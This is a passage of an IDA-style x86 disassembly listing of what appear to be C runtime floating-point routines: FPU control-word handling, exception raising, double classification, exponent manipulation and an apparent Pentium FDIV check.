mov [edx], ecx
loc_425212: ; CODE XREF: sub_424E40+3C3j
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
test ecx, ecx
jz short loc_42522B
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0DFh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_42522B: ; CODE XREF: sub_424E40+3DDj
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 3
mov [ebp+var_14], eax
cmp [ebp+var_14], 3
ja short loc_425289
mov ecx, [ebp+var_14]
jmp off_4252F1[ecx*4]
loc_425246: ; DATA XREF: .data:004252FDo
; .data:00447C74o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 0Ch
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_425289
; ---------------------------------------------------------------------------
loc_425258: ; CODE XREF: sub_424E40+3FFj
; DATA XREF: .data:004252F9o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 8
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_425289
; ---------------------------------------------------------------------------
loc_42526A: ; CODE XREF: sub_424E40+3FFj
; DATA XREF: .data:004252F5o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 4
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_425289
; ---------------------------------------------------------------------------
loc_42527C: ; CODE XREF: sub_424E40+3FFj
; DATA XREF: .data:off_4252F1o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_425289: ; CODE XREF: sub_424E40+3FAj
; sub_424E40+416j ...
mov edx, [ebp+arg_0]
mov eax, [edx]
shr eax, 2
and eax, 7
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_4252AB
cmp [ebp+var_18], 1
jz short loc_4252BD
cmp [ebp+var_18], 2
jz short loc_4252CF
jmp short loc_4252DC
; ---------------------------------------------------------------------------
loc_4252AB: ; CODE XREF: sub_424E40+45Bj
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 3
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_4252DC
; ---------------------------------------------------------------------------
loc_4252BD: ; CODE XREF: sub_424E40+461j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 2
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_4252DC
; ---------------------------------------------------------------------------
loc_4252CF: ; CODE XREF: sub_424E40+467j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_4252DC: ; CODE XREF: sub_424E40+469j
; sub_424E40+47Bj ...
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_14]
mov eax, [ecx+40h]
mov [edx], eax
mov ecx, [ecx+44h]
mov [edx+4], ecx
mov esp, ebp
pop ebp
retn
sub_424E40 endp
; ---------------------------------------------------------------------------
off_4252F1 dd offset loc_42527C ; DATA XREF: sub_424E40+3FFr
dd offset loc_42526A
dd offset loc_425258
dd offset loc_425246
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425310 proc near ; CODE XREF: sub_424CB0+12p
; .data:00424D82p
var_44 = dword ptr -44h
var_40 = qword ptr -40h
var_38 = qword ptr -38h
var_30 = qword ptr -30h
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
mov eax, [ebp+arg_0]
and eax, 1Fh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_42534A
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_42534A
push 1
call sub_425B60
add esp, 4
mov eax, [ebp+var_4]
and al, 0F7h
mov [ebp+var_4], eax
jmp loc_42564E
; ---------------------------------------------------------------------------
loc_42534A: ; CODE XREF: sub_425310+17j
; sub_425310+21j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_425375
mov edx, [ebp+arg_8]
and edx, 4
test edx, edx
jz short loc_425375
push 4
call sub_425B60
add esp, 4
mov eax, [ebp+var_4]
and al, 0FBh
mov [ebp+var_4], eax
jmp loc_42564E
; ---------------------------------------------------------------------------
loc_425375: ; CODE XREF: sub_425310+42j
; sub_425310+4Cj
mov ecx, [ebp+arg_0]
and ecx, 1
test ecx, ecx
jz loc_4254F1
mov edx, [ebp+arg_8]
and edx, 8
test edx, edx
jz loc_4254F1
push 8
call sub_425B60
add esp, 4
mov eax, [ebp+arg_8]
and eax, 0C00h
mov [ebp+var_20], eax
cmp [ebp+var_20], 800h
ja short loc_4253D0
cmp [ebp+var_20], 800h
jz short loc_425425
cmp [ebp+var_20], 0
jz short loc_4253E2
cmp [ebp+var_20], 400h
jz loc_425465
jmp loc_4254E3
; ---------------------------------------------------------------------------
loc_4253D0: ; CODE XREF: sub_425310+9Dj
cmp [ebp+var_20], 0C00h
jz loc_4254A5
jmp loc_4254E3
; ---------------------------------------------------------------------------
loc_4253E2: ; CODE XREF: sub_425310+ACj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4352F0
fnstsw ax
test ah, 41h
jnz short loc_425407
mov edx, dword ptr dbl_4477F8
mov dword ptr [ebp+var_28], edx
mov eax, dword ptr dbl_4477F8+4
mov dword ptr [ebp+var_28+4], eax
jmp short loc_425412
; ---------------------------------------------------------------------------
loc_425407: ; CODE XREF: sub_425310+E2j
fld dbl_4477F8
fchs
fstp [ebp+var_28]
loc_425412: ; CODE XREF: sub_425310+F5j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_28]
mov [ecx], edx
mov eax, dword ptr [ebp+var_28+4]
mov [ecx+4], eax
jmp loc_4254E3
; ---------------------------------------------------------------------------
loc_425425: ; CODE XREF: sub_425310+A6j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4352F0
fnstsw ax
test ah, 41h
jnz short loc_42544A
mov edx, dword ptr dbl_4477F8
mov dword ptr [ebp+var_30], edx
mov eax, dword ptr dbl_4477F8+4
mov dword ptr [ebp+var_30+4], eax
jmp short loc_425455
; ---------------------------------------------------------------------------
loc_42544A: ; CODE XREF: sub_425310+125j
fld dbl_447808
fchs
fstp [ebp+var_30]
loc_425455: ; CODE XREF: sub_425310+138j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_30]
mov [ecx], edx
mov eax, dword ptr [ebp+var_30+4]
mov [ecx+4], eax
jmp short loc_4254E3
; ---------------------------------------------------------------------------
loc_425465: ; CODE XREF: sub_425310+B5j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4352F0
fnstsw ax
test ah, 41h
jnz short loc_42548A
mov edx, dword ptr dbl_447808
mov dword ptr [ebp+var_38], edx
mov eax, dword ptr dbl_447808+4
mov dword ptr [ebp+var_38+4], eax
jmp short loc_425495
; ---------------------------------------------------------------------------
loc_42548A: ; CODE XREF: sub_425310+165j
fld dbl_4477F8
fchs
fstp [ebp+var_38]
loc_425495: ; CODE XREF: sub_425310+178j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_38]
mov [ecx], edx
mov eax, dword ptr [ebp+var_38+4]
mov [ecx+4], eax
jmp short loc_4254E3
; ---------------------------------------------------------------------------
loc_4254A5: ; CODE XREF: sub_425310+C7j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4352F0
fnstsw ax
test ah, 41h
jnz short loc_4254CA
mov edx, dword ptr dbl_447808
mov dword ptr [ebp+var_40], edx
mov eax, dword ptr dbl_447808+4
mov dword ptr [ebp+var_40+4], eax
jmp short loc_4254D5
; ---------------------------------------------------------------------------
loc_4254CA: ; CODE XREF: sub_425310+1A5j
fld dbl_447808
fchs
fstp [ebp+var_40]
loc_4254D5: ; CODE XREF: sub_425310+1B8j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_40]
mov [ecx], edx
mov eax, dword ptr [ebp+var_40+4]
mov [ecx+4], eax
loc_4254E3: ; CODE XREF: sub_425310+BBj
; sub_425310+CDj ...
mov ecx, [ebp+var_4]
and ecx, 0FFFFFFFEh
mov [ebp+var_4], ecx
jmp loc_42564E
; ---------------------------------------------------------------------------
loc_4254F1: ; CODE XREF: sub_425310+6Dj
; sub_425310+7Bj
mov edx, [ebp+arg_0]
and edx, 2
test edx, edx
jz loc_42564E
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz loc_42564E
mov [ebp+var_8], 0
mov ecx, [ebp+arg_0]
and ecx, 10h
test ecx, ecx
jz short loc_425525
mov [ebp+var_8], 1
loc_425525: ; CODE XREF: sub_425310+20Cj
mov edx, [ebp+arg_4]
fld qword ptr [edx]
fcomp dbl_4352F0
fnstsw ax
test ah, 40h
jnz loc_42562E
lea eax, [ebp+var_18]
push eax ; int
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
push edx
mov eax, [ecx]
push eax ; double
call sub_4259A0
add esp, 0Ch
fstp [ebp+var_10]
mov ecx, [ebp+var_18]
sub ecx, 600h
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0FFFFFBCEh
jge short loc_425581
fld [ebp+var_10]
fmul dbl_4352F0
fstp [ebp+var_10]
mov [ebp+var_8], 1
jmp loc_42561E
; ---------------------------------------------------------------------------
loc_425581: ; CODE XREF: sub_425310+257j
fld [ebp+var_10]
fcomp dbl_4352F0
fnstsw ax
test ah, 1
jz short loc_42559A
mov [ebp+var_44], 1
jmp short loc_4255A1
; ---------------------------------------------------------------------------
loc_42559A: ; CODE XREF: sub_425310+27Fj
mov [ebp+var_44], 0
loc_4255A1: ; CODE XREF: sub_425310+288j
mov edx, [ebp+var_44]
mov [ebp+var_1C], edx
mov ax, word ptr [ebp+var_10+6]
and ax, 0Fh
mov word ptr [ebp+var_10+6], ax
mov cx, word ptr [ebp+var_10+6]
or cl, 10h
mov word ptr [ebp+var_10+6], cx
jmp short loc_4255C9
; ---------------------------------------------------------------------------
loc_4255C0: ; CODE XREF: sub_425310+2FEj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_4255C9: ; CODE XREF: sub_425310+2AEj
cmp [ebp+var_14], 0FFFFFC03h
jge short loc_425610
mov eax, dword ptr [ebp+var_10]
and eax, 1
test eax, eax
jz short loc_4255E9
cmp [ebp+var_8], 0
jnz short loc_4255E9
mov [ebp+var_8], 1
loc_4255E9: ; CODE XREF: sub_425310+2CAj
; sub_425310+2D0j
mov ecx, dword ptr [ebp+var_10]
shr ecx, 1
mov dword ptr [ebp+var_10], ecx
mov edx, dword ptr [ebp+var_10+4]
and edx, 1
test edx, edx
jz short loc_425606
mov eax, dword ptr [ebp+var_10]
or eax, 80000000h
mov dword ptr [ebp+var_10], eax
loc_425606: ; CODE XREF: sub_425310+2E9j
mov ecx, dword ptr [ebp+var_10+4]
shr ecx, 1
mov dword ptr [ebp+var_10+4], ecx
jmp short loc_4255C0
; ---------------------------------------------------------------------------
loc_425610: ; CODE XREF: sub_425310+2C0j
cmp [ebp+var_1C], 0
jz short loc_42561E
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_42561E: ; CODE XREF: sub_425310+26Cj
; sub_425310+304j
mov edx, [ebp+arg_4]
mov eax, dword ptr [ebp+var_10]
mov [edx], eax
mov ecx, dword ptr [ebp+var_10+4]
mov [edx+4], ecx
jmp short loc_425635
; ---------------------------------------------------------------------------
loc_42562E: ; CODE XREF: sub_425310+225j
mov [ebp+var_8], 1
loc_425635: ; CODE XREF: sub_425310+31Cj
cmp [ebp+var_8], 0
jz short loc_425645
push 10h
call sub_425B60
add esp, 4
loc_425645: ; CODE XREF: sub_425310+329j
mov edx, [ebp+var_4]
and edx, 0FFFFFFFDh
mov [ebp+var_4], edx
loc_42564E: ; CODE XREF: sub_425310+35j
; sub_425310+60j ...
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_425675
mov ecx, [ebp+arg_8]
and ecx, 20h
test ecx, ecx
jz short loc_425675
push 20h
call sub_425B60
add esp, 4
mov edx, [ebp+var_4]
and edx, 0FFFFFFEFh
mov [ebp+var_4], edx
loc_425675: ; CODE XREF: sub_425310+346j
; sub_425310+350j
xor eax, eax
cmp [ebp+var_4], 0
setz al
mov esp, ebp
pop ebp
retn
sub_425310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_425690(int,int,int,int,int,int,double,int)
sub_425690 proc near ; CODE XREF: sub_424BE0+2Ap
; .data:00424C7Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_4]
push eax
call sub_425770
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_425707
mov ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_18], edx
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_C], edx
mov eax, dword ptr [ebp+arg_18]
mov dword ptr [ebp+var_8], eax
mov ecx, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], ecx
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_425B20
add esp, 8
lea eax, [ebp+var_20]
push eax
call sub_42ADE0
add esp, 4
test eax, eax
jnz short loc_425702
mov ecx, [ebp+arg_0]
push ecx
call sub_425730
add esp, 4
loc_425702: ; CODE XREF: sub_425690+64j
fld [ebp+var_8]
jmp short loc_425727
; ---------------------------------------------------------------------------
loc_425707: ; CODE XREF: sub_425690+19j
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_425B20
add esp, 8
mov eax, [ebp+arg_0]
push eax
call sub_425730
add esp, 4
fld [ebp+arg_18]
loc_425727: ; CODE XREF: sub_425690+75j
mov esp, ebp
pop ebp
retn
sub_425690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425730 proc near ; CODE XREF: sub_424CB0+92p
; .data:00424E1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jz short loc_42574E
cmp [ebp+var_4], 1
jle short loc_425766
cmp [ebp+var_4], 3
jle short loc_42575B
jmp short loc_425766
; ---------------------------------------------------------------------------
loc_42574E: ; CODE XREF: sub_425730+Ej
call sub_4224D0
mov dword ptr [eax], 21h
jmp short loc_425766
; ---------------------------------------------------------------------------
loc_42575B: ; CODE XREF: sub_425730+1Aj
call sub_4224D0
mov dword ptr [eax], 22h
loc_425766: ; CODE XREF: sub_425730+14j
; sub_425730+1Cj ...
mov esp, ebp
pop ebp
retn
sub_425730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425770 proc near ; CODE XREF: sub_425690+Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_425786
; ---------------------------------------------------------------------------
loc_42577D: ; CODE XREF: sub_425770:loc_4257A7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_425786: ; CODE XREF: sub_425770+Bj
cmp [ebp+var_4], 1Bh
jge short loc_4257A9
mov ecx, [ebp+var_4]
mov edx, dword_447720[ecx*8]
cmp edx, [ebp+arg_0]
jnz short loc_4257A7
mov eax, [ebp+var_4]
mov eax, off_447724[eax*8]
jmp short loc_4257AB
; ---------------------------------------------------------------------------
loc_4257A7: ; CODE XREF: sub_425770+29j
jmp short loc_42577D
; ---------------------------------------------------------------------------
loc_4257A9: ; CODE XREF: sub_425770+1Aj
xor eax, eax
loc_4257AB: ; CODE XREF: sub_425770+35j
mov esp, ebp
pop ebp
retn
sub_425770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4257B0 proc near ; CODE XREF: sub_424CB0+4Ap
; .data:00424DD2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 20h
test eax, eax
jz short loc_4257C7
mov [ebp+var_4], 5
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_4257C7: ; CODE XREF: sub_4257B0+Cj
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_4257DA
mov [ebp+var_4], 1
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_4257DA: ; CODE XREF: sub_4257B0+1Fj
mov edx, [ebp+arg_0]
and edx, 4
test edx, edx
jz short loc_4257ED
mov [ebp+var_4], 2
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_4257ED: ; CODE XREF: sub_4257B0+32j
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_425800
mov [ebp+var_4], 3
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425800: ; CODE XREF: sub_4257B0+45j
mov ecx, [ebp+arg_0]
and ecx, 2
test ecx, ecx
jz short loc_425813
mov [ebp+var_4], 4
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425813: ; CODE XREF: sub_4257B0+58j
mov [ebp+var_4], 0
loc_42581A: ; CODE XREF: sub_4257B0+15j
; sub_4257B0+28j ...
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4257B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425830 proc near ; CODE XREF: .data:004258C9p
; sub_4259A0+ECp ...
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov dword ptr [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov dword ptr [ebp+var_C+4], ecx
mov edx, [ebp+arg_8]
add edx, 3FEh
mov [ebp+var_4], edx
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 800Fh
mov ecx, [ebp+var_4]
shl ecx, 4
or eax, ecx
mov word ptr [ebp+var_C+6], ax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_425830 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
mov [ebp-4], ax
mov cx, [ebp-4]
sub cx, 3FEh
mov [ebp-4], cx
movsx eax, word ptr [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
mov edx, [ebp+10h]
lea eax, [ecx+edx-3FEh]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_425830
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp+0Ch]
mov [ebp-4], ecx
mov edx, [ebp+0Eh]
and edx, 0FFFFh
and edx, 800Fh
mov eax, [ebp+10h]
shl eax, 4
or edx, eax
mov [ebp-2], dx
fld qword ptr [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425920 proc near ; CODE XREF: sub_419730+3Fp
; sub_419950+3Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 7FF00000h
jnz short loc_425939
cmp [ebp+arg_0], 0
jnz short loc_425939
mov eax, 1
jmp short loc_42599A
; ---------------------------------------------------------------------------
loc_425939: ; CODE XREF: sub_425920+Aj
; sub_425920+10j
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_42594F
cmp [ebp+arg_0], 0
jnz short loc_42594F
mov eax, 2
jmp short loc_42599A
; ---------------------------------------------------------------------------
loc_42594F: ; CODE XREF: sub_425920+20j
; sub_425920+26j
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 7FF8h
cmp eax, 7FF8h
jnz short loc_42596A
mov eax, 3
jmp short loc_42599A
; ---------------------------------------------------------------------------
loc_42596A: ; CODE XREF: sub_425920+41j
mov ecx, [ebp+arg_4+2]
and ecx, 0FFFFh
and ecx, 7FF8h
cmp ecx, 7FF0h
jnz short loc_425998
mov edx, [ebp+arg_4]
shl edx, 0Dh
test edx, edx
jnz short loc_425991
cmp [ebp+arg_0], 0
jz short loc_425998
loc_425991: ; CODE XREF: sub_425920+69j
mov eax, 4
jmp short loc_42599A
; ---------------------------------------------------------------------------
loc_425998: ; CODE XREF: sub_425920+5Fj
; sub_425920+6Fj
xor eax, eax
loc_42599A: ; CODE XREF: sub_425920+17j
; sub_425920+2Dj ...
pop ebp
retn
sub_425920 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4259A0(double,int)
sub_4259A0 proc near ; CODE XREF: sub_425310+239p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
fld [ebp+arg_0]
fcomp dbl_4352F0
fnstsw ax
test ah, 40h
jz short loc_4259D0
mov dword ptr [ebp+var_C], 0
mov dword ptr [ebp+var_C+4], 0
mov [ebp+var_4], 0
jmp loc_425ACA
; ---------------------------------------------------------------------------
loc_4259D0: ; CODE XREF: sub_4259A0+14j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
test eax, eax
jnz loc_425A99
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 0Ch
test ecx, ecx
jnz short loc_4259F9
cmp dword ptr [ebp+arg_0], 0
jz loc_425A99
loc_4259F9: ; CODE XREF: sub_4259A0+4Dj
mov [ebp+var_4], 0FFFFFC03h
fld [ebp+arg_0]
fcomp dbl_4352F0
fnstsw ax
test ah, 1
jz short loc_425A19
mov [ebp+var_14], 1
jmp short loc_425A20
; ---------------------------------------------------------------------------
loc_425A19: ; CODE XREF: sub_4259A0+6Ej
mov [ebp+var_14], 0
loc_425A20: ; CODE XREF: sub_4259A0+77j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
loc_425A26: ; CODE XREF: sub_4259A0+C3j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jnz short loc_425A65
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 1
mov dword ptr [ebp+arg_0+4], ecx
mov edx, dword ptr [ebp+arg_0]
and edx, 80000000h
test edx, edx
jz short loc_425A52
mov eax, dword ptr [ebp+arg_0+4]
or al, 1
mov dword ptr [ebp+arg_0+4], eax
loc_425A52: ; CODE XREF: sub_4259A0+A8j
mov ecx, dword ptr [ebp+arg_0]
shl ecx, 1
mov dword ptr [ebp+arg_0], ecx
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_425A26
; ---------------------------------------------------------------------------
loc_425A65: ; CODE XREF: sub_4259A0+93j
mov ax, word ptr [ebp+arg_0+6]
and ax, 0FFEFh
mov word ptr [ebp+arg_0+6], ax
cmp [ebp+var_10], 0
jz short loc_425A82
mov cx, word ptr [ebp+arg_0+6]
or ch, 80h
mov word ptr [ebp+arg_0+6], cx
loc_425A82: ; CODE XREF: sub_4259A0+D5j
push 0
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_425830
add esp, 0Ch
fstp [ebp+var_C]
jmp short loc_425ACA
; ---------------------------------------------------------------------------
loc_425A99: ; CODE XREF: sub_4259A0+3Fj
; sub_4259A0+53j
push 0
mov ecx, dword ptr [ebp+arg_0+4]
push ecx
mov edx, dword ptr [ebp+arg_0]
push edx
call sub_425830
add esp, 0Ch
fstp [ebp+var_C]
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
sub ecx, 3FEh
mov [ebp+var_4], ecx
loc_425ACA: ; CODE XREF: sub_4259A0+2Bj
; sub_4259A0+F7j
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [edx], eax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_4259A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425AE0 proc near ; CODE XREF: sub_424E40+171p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw [ebp+var_4]
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425AE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425B00 proc near ; CODE XREF: sub_424E40+349p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw [ebp+var_4]
fnclex
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425B00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425B20 proc near ; CODE XREF: sub_419730+11p
; sub_419730+67p ...
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fstcw [ebp+var_8]
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
movsx ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
not edx
and ecx, edx
or eax, ecx
mov [ebp+var_4], ax
fldcw [ebp+var_4]
movsx eax, [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425B20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425B60 proc near ; CODE XREF: sub_425310+25p
; sub_425310+50p ...
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_425B7D
fld tbyte_447820
fistp [ebp+var_C]
wait
loc_425B7D: ; CODE XREF: sub_425B60+11j
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_425B97
fstsw ax
fld tbyte_447820
fstp [ebp+var_8]
wait
fstsw ax
loc_425B97: ; CODE XREF: sub_425B60+25j
mov edx, [ebp+arg_0]
and edx, 10h
test edx, edx
jz short loc_425BAB
fld tbyte_44782C
fstp [ebp+var_8]
wait
loc_425BAB: ; CODE XREF: sub_425B60+3Fj
mov eax, [ebp+arg_0]
and eax, 4
test eax, eax
jz short loc_425BBE
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_425BBE: ; CODE XREF: sub_425B60+53j
mov ecx, [ebp+arg_0]
and ecx, 20h
test ecx, ecx
jz short loc_425BCE
fldpi
fstp [ebp+var_8]
wait
loc_425BCE: ; CODE XREF: sub_425B60+66j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BE0 proc near ; CODE XREF: sub_419870+15p
; .data:0042AEB5p
push ebp
mov ebp, esp
push 30000h
push 10000h
call sub_42AE80
add esp, 8
pop ebp
retn
sub_425BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C00 proc near ; CODE XREF: sub_425C60:loc_425C99p
var_1C = dword ptr -1Ch
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov dword ptr [ebp+var_18], 80000000h
mov dword ptr [ebp+var_18+4], 4147FFFFh
mov dword ptr [ebp+var_8], 0C0000000h
mov dword ptr [ebp+var_8+4], 4150017Eh
fld [ebp+var_8]
fdiv [ebp+var_18]
fmul [ebp+var_18]
fsubr [ebp+var_8]
fstp [ebp+var_10]
fld [ebp+var_10]
fcomp dbl_434D30
fnstsw ax
test ah, 41h
jnz short loc_425C4D
mov [ebp+var_1C], 1
jmp short loc_425C54
; ---------------------------------------------------------------------------
loc_425C4D: ; CODE XREF: sub_425C00+42j
